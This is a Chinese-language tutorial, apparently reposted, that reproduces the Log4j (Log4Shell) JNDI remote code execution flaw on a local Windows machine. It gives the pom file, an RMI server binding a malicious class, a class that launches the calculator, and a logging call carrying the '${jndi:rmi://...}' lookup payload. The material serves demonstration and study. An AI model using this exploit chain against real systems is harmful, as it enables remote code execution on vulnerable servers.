极快复现Log4j漏洞启动windows计算器

了解关于漏洞的描述，可以参考Vulnerability Affecting Multiple Log4j Versions Permits RCE Exploit

根据文章描述，首先下载JDK1.8u102，不能高于这个版本。

通过如下pom.xml建立一个maven项目

1.  
   <project xmlns="http://maven.apache.org/POM/4.0.0"
2.  
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
3.  
   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
4.  
   <modelVersion>4.0.0</modelVersion>
5.  
   <groupId>Log4jJNDI</groupId>
6.  
   <artifactId>Log4jJNDI</artifactId>
7.  
   <version>0.0.1-SNAPSHOT</version>
8.  
   <properties>
9.  
   <java.version>1.8</java.version>
10.  
    </properties>
11.  
    <dependencies>
12.  
    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
13.  
    <dependency>
14.  
    <groupId>org.apache.logging.log4j</groupId>
15.  
    <artifactId>log4j-core</artifactId>
16.  
    <version>2.14.1</version>
17.  
    </dependency>
18.  
    </dependencies>
19.  
    <build>
20.  
    <plugins>
21.  
    <plugin>
22.  
    <groupId>org.apache.maven.plugins</groupId>
23.  
    <artifactId>maven-compiler-plugin</artifactId>
24.  
    <version>3.7.0</version>
25.  
    <configuration>
26.  
    <source>${java.version}</source>
27.  
    <target>${java.version}</target>
28.  
    </configuration>
29.  
    </plugin>
30.  
    </plugins>
31.  
    </build>
32.  
    </project>

新建类Log4jServer，这个类用来注册一个远程类。代码如下：

1.  
   package testLog4j;
2.  
    
3.  
   import java.rmi.registry.LocateRegistry;
4.  
   import java.rmi.registry.Registry;
5.  
   import com.sun.jndi.rmi.registry.ReferenceWrapper;
6.  
   import javax.naming.Reference;
7.  
    
8.  
   public class Log4jServer {
9.  
   public static void main(String[] args) {
10.  
    try {
11.  
    LocateRegistry.createRegistry(1099);
12.  
    Registry registry = LocateRegistry.getRegistry();
13.  
    Reference evilObjReference = new Reference("testLog4j.EvilObj", "testLog4j.EvilObj", ".");
14.  
    ReferenceWrapper evilObjReferenceObjWrapper = new ReferenceWrapper(evilObjReference);
15.  
    registry.bind("evilObj", evilObjReferenceObjWrapper);
16.  
     
17.  
    System.out.println("Server is running at port: 1099");
18.  
    } catch (Exception e) {
19.  
    e.printStackTrace();
20.  
    }
21.  
    }
22.  
    }

用于打开计算器的远程类代码如下：

1.  
   package testLog4j;
2.  
    
3.  
   public class EvilObj {
4.  
   static {
5.  
   try {
6.  
   Runtime.getRuntime().exec("calc");
7.  
   } catch (Exception e) {
8.  
   e.printStackTrace();
9.  
   }
10.  
    }
11.  
     
12.  
    }

下面的LogTest类用于展示如何通过打印日志，来调用远程类，

1.  
   package testLog4j;
2.  
    
3.  
   import org.apache.logging.log4j.LogManager;
4.  
   import org.apache.logging.log4j.Logger;
5.  
    
6.  
   public class LogTest {
7.  
   private static Logger logger = LogManager.getLogger("LogTest");
8.  
    
9.  
   public static void main(String[] args) {
10.  
    logger.info("your operation system is: {}", "${java:os}");
11.  
    logger.error("${jndi:rmi://127.0.0.1:1099/evilObj}");
12.  
    }
13.  
    }

首先运行Log4jServer类，此时在端口1099提供远程类访问。

然后再运行LogTest, 在打印如下日志以后，windows下的计算机被成功打开。运行时需要设置参数-Dlog4j2.formatMsgNoLookups=false

1.  
   12-17 22:15:42.331 [main] INFO LogTest
2.  
   your operation system is: Windows 10 10.0, architecture: amd64-64
3.  
    
4.  
   12-17 22:15:42.334 [main] ERROR LogTest
5.  
   ${jndi:rmi://127.0.0.1:1099/evilObj}

Good Luck,

Cheers!

这篇好文章是转载于：学新通技术网